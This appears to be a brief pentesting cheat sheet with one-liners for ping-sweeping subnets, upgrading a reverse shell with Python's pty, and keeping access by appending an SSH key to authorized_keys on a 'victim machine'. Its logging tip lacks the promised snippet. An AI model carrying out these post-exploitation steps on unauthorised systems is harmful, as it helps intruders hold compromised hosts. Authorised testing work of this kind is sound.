🫡Tips
Some tips, very useful in real life.
Ping sweep to discover hosts on the network fastly (/24)
for i in {1..255};do (ping -c 1 172.16.2.$i | grep "bytes from"|cut -d ' ' -f4|tr -d ':' &);donePing sweep to discover hosts on the network fastly (/16)
for j in {1..255};do for i in {1..255};do (ping -c 1 172.16.$j.$i | grep "bytes from"|cut -d ' ' -f4|tr -d ':' &);done;doneGet a proper shell on reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'Persistance
In case you got a reverse shell, generate RSA key :
ssh-keygen -t rsaPaste it to authorized_keys on the victim machine :
echo XXXX >> ~/.ssh/authorized_keysLogs all your commands
mkdir ~/.logThen, paste the following at the end of your .zshrc file :
All your logs will be saved in ~/.log directory. Enjoy
Last updated